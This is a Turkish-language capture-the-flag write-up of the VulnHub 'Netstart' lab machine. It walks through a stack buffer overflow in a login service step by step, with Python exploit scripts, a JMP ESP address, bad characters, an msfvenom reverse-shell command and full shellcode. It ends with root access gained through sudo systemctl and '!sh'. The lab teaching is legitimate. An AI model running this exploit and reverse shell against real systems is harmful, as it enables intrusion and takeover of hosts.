VulnHub / Netstart Write Up

Vulnhub da denk geldiğim Netstart isimli bu makine stack tabanlı bellek taşma zafiyeti olan bir uygulamayı exploit etmemizi gerektiriyor. Açıkçası kolay ve eğlenceli buldum bu makineyi. Stack based buffer overflow mevzusu hakkında pratik yapmamıza olanak sağlıyan güzel bir senaryosu var. Lafı daha fazla uzatmadan makinenin çözümüne geçelim.

İlk olarak makinenin ip adresini bulmakla başlayalım.

sudo netdiscover

Nmap çıktısı şu şekilde

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
2371/tcp open  worldwire?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2371-TCP:V=7.91%I=7%D=12/18%Time=5FDC0242%P=x86_64-pc-linux-gnu%r(N
SF:ULL,B,"Password:\n\0")%r(GenericLines,B,"Password:\n\0")%r(GetRequest,B
SF:,"Password:\n\0")%r(HTTPOptions,B,"Password:\n\0")%r(RTSPRequest,B,"Pas
SF:sword:\n\0")%r(RPCCheck,B,"Password:\n\0")%r(DNSVersionBindReqTCP,B,"Pa
SF:ssword:\n\0")%r(DNSStatusRequestTCP,B,"Password:\n\0")%r(Help,B,"Passwo
SF:rd:\n\0")%r(SSLSessionReq,B,"Password:\n\0")%r(TerminalServerCookie,B,"
SF:Password:\n\0")%r(TLSSessionReq,B,"Password:\n\0")%r(Kerberos,B,"Passwo
SF:rd:\n\0")%r(SMBProgNeg,B,"Password:\n\0")%r(X11Probe,B,"Password:\n\0")
SF:%r(FourOhFourRequest,B,"Password:\n\0")%r(LPDString,B,"Password:\n\0")%
SF:r(LDAPSearchReq,B,"Password:\n\0")%r(LDAPBindReq,B,"Password:\n\0")%r(S
SF:IPOptions,B,"Password:\n\0")%r(LANDesk-RC,B,"Password:\n\0")%r(Terminal
SF:Server,B,"Password:\n\0")%r(NCP,B,"Password:\n\0")%r(NotesRPC,B,"Passwo
SF:rd:\n\0")%r(JavaRMI,B,"Password:\n\0")%r(WMSRequest,B,"Password:\n\0")%
SF:r(oracle-tns,B,"Password:\n\0")%r(ms-sql-s,B,"Password:\n\0")%r(afp,B,"
SF:Password:\n\0")%r(giop,B,"Password:\n\0");
MAC Address: 08:00:27:1C:10:E0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

İçerik

FTP

İlk olarak ftp ye anonim giriş yapabildim. Daha sonra dir komutuyla bulunduğum dizindeki dosya/klasör lere baktığımda karşıma login.exe ve login_support.dll dosyaları çıktı. Get komutuyla bunları daha sonra incelemek adına indirdim.

ftp 192.168.1.29

BOF

Ftp de bulduğum login.exe ve login_support.dll dosyalarını windows xp makineme atıp incelemeye başladım. Login.exe yi açtığımda yapmam gereken herşey kafamda belirmişti. İlgili program 2371.portu dinlemeye alıp password soruyor. Nmap çıktısında da görebilirsiniz.

lk olarak programın ilgili zafiyete sahip olup olmadığını test etmemiz gerek. Bunun için basit bir python scripti yazıyorum. WinXP makinemin 2371.portuna 2500 adet A (\x41) karakteri yolluyorum.

##exploit1.py
import socket

ip = "192.168.1.28"
port = 2371
buf = "A" * 2500

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((ip,port))

s.send(buf)

s.close()

2500 A karakterinden sonra program crash oldu. Bu iyi haber.

Bunu Immunity Debugger ile açtığımızda zafiyetin olduğunu görebiliriz. Eip üzerine A karakterleri düşmüş. Eğer eip üzerine jmp esp (yada call esp ya da pop pop ret vb.) komutunun bellek adresini yazabilirsem program akışına oradan devam eder ve böylelikle stack alanındaki shellcode’umuz çalışır.

Şimdi sıra eip üzerine kaç karakterden sonra veri yazabildiğimizi bulmakta(offset tespiti). Bunun için metasploit’in pattern_create aracını kullanacağım. -l parametresinden sonra kaç karakter olacağını belirtiyoruz.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500

Yeni kodumuz bu şekilde.

##exploit2.py

import socket

ip = "192.168.1.28"
port = 2371
### /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
buf="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab…… diye gidiyüür”

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((ip,port))

s.send(buf)

s.close()

Programı tekrar açıp exploitimi çalıştırdığımda EIP değerinin değiştiğini görüyorum.

Bu değeri pattern_offset aracına verdiğimde bana bir sayı döndürüyor.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 65433765

Bu şu demek; eğer ben 1702 A karakteri (fark etmez) gönderirsem sonraki 4 karakter eip üzerine yazılacak. Bakalım gerçekten de öyle mi.

##exploit3.py

import socket

ip = "192.168.1.28"
port = 2371
buf = "A" * 1702 + "BBBB"



s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((ip,port))

s.send(buf)

s.close()

Eğer haklıysam eip’nin değerini 42424242(BBBB) göreceğiz.

Tam isabet ! Ve geldik en önemli kısmına . Eip üzerine yazacağım adresin (jump esp) statik bir adres olması gerekir çünkü bu programı winxp de çalıştırıyorum oysa exploit etmem gereken makine linux. Şimdi napacük ? Yapacağımız şey aslında çok basit. Hatırlarsanız ftp de sadece login.exe bulmadık. login_support.dll de bulduk ve tahminimce login.exe login_support.dll I de çatır çutur kullanıyor. Bunu öğrenmek için Immunity Debugger da View sekmesi > Executable Modules e tıklıyorum ve haklı olduğumu görüyorum.

Şimdik bu dll e tıklayıp CTRL+F kombinasyonuna kafa attıktan sonra açılan kutucuğa jmp esp yazıyorum(tam olarak aradığım şey). Immunity abimiz bize bu dll de aradığımız komutu buluyor. Bizim ihtiyacımız olan şey bu komutun adresi. 625012B8 adresi.

Exploit mantığı tam olarak şöyle ;

exploit = 1702 A Karakteri + JMP ESP ADRESI + NOP + ŞELLKOD

İlk olarak şunu söyleyeyim bu adresi (625012B8) olduğu gibi eip ye yazamayız. Little endian dediğimiz notasyona göre yazmalıyız. Örneğin adresimiz bu olsun \xA1\xB2\xC3\xD4 bu big endian(bize böyle)

Little endian a çevirmek için tersden yazmalıyız. \xD4\xC3\xB2\xA1 (işlemciye de böyle)

İşlemcinizin Little endian mı yoksa Big endian mı olduğunu anlamanın birçok yolu var mesela linux da (linux <3) iş çok basit veriyosun “lscpu” komutunu sana söylüyor. Ama bunlara da gerek yok eğer intel işlemci kullanıyorsanız şifre şu ; İntel = Little Endian . Bunun sebebini intel firmasına küfürlü bir mail ile sorabilirsiniz. Daha Fazla detaya girmeden asıl mevzumuza geri dönelim. Herşey iyi hoş peki nop ne ? No operation code (bi halt etme kodu) bunu şellkod dan önce kullanmamızın sebebi shellcode’un stack den yer ayırmak istemesi. Eğer direkt stack in üstünden başlarsa yer ayıramayacak ve kendi üzerine yazılmaya başlayacak(tıpkı ajan smith ile neo abimiz gibi). Nop kodu serbest atlayış yaparkene rahat bir iniş yapmamızı sağlayacak. Mevzuyu az çok açıkladıktan sonra exploitimizi yazmaya dönelim.

Klasik olarak shellcode için msfvenom aracından faydalanacağım. Ha bi de anlatmayı unuttum kötü karakter denilen bir mevzu var. Bu kötü karakterler shellcode’umuzun çalışmasını engelliyor ve her programda farklılık gösteriyor bilginize. Fakat her programda sabit olan kötü karakterlerimiz de var. Örneğin NULL “\x00” ya da yeni satır “\0x0a” ya da satır başı “\0x0d” bu abiler shellcode çalışırken durdurabilir,yeni satıra geçirebilir ya da satır başına hoplatabilir. Bunların dışında ilgili programda tespit ettiğim diğer kötü karakterler şunlar ; \x2d\x2e\x46\x47\x59\x5e\60

Kötü karakter tespitini anlatmayacağım yazı daha fazla uzamasın diye. Hemen shellcode’umuzu oluşturalım.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.23 LPORT=6666 EXITFUNC=thread -b “\x00\x0a\x0d\x2d\x2e\x46\x47\x59\x5e\60” -f c
##exploit4SOOON.py

#!/usr/bin/python

import socket

ip = '192.168.1.29'
port = 2371

pre = "A" * 1702

nop = "\x90"*32

eip = "\xb8\x12\x50\x62" # login_support.dll -> 625012b8

shellcode=("\x33\xc9\xb1\x11\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84"
"\xa2\xc4\x6d\x83\xeb\xfc\xe2\xf4\xb5\x79\x33\x8e\xd7\xe1\x97"
"\x07\x86\x2b\x25\xdd\xe2\x6f\x44\xfe\xdd\x12\xfb\xa0\x04\xeb"
"\xbd\x94\xec\x62\x6c\x6c\x93\xca\xc6\x6d\x9e\xa8\x4d\x8c\x34"
"\xc4\x94\x3c\xd7\x11\xc7\xe4\x65\x6f\x44\x3f\xec\xcc\xeb\x1e"
"\xec\xca\xeb\x42\xe6\xcb\x4d\x8e\xd6\xf1\x4d\x8c\x34\xa9\x09"
"\xed")

junk = pre + eip + nop + shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
s.send(junk)
s.close()

Artık exploitimizi netstart makinesinde test edebiliriz. Nc ile 6666.portu dinlemeye alıp exploitimi çalıştırıyorum. BİNGOOO! User flag’i ele geçiriyorum.

Sıra root olmakta. Sudo -l ile hangi programları root yetkisiyle çalıştırabileceğime bakıyorum. Systemctl çıkıveriyor karşıma.

Systemctl ile yetki yükseltme kısmında genelde herkes yeni bir servis oluşturmakla uğraşıyor. Buna hiç gerek yok Sudo ile çalıştırdıktan sonra “!sh” yazıp shell e geçiş yapabiliriz.

Son olarak root flag’i de elde edip yazıyı burada noktalıyorum ..

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir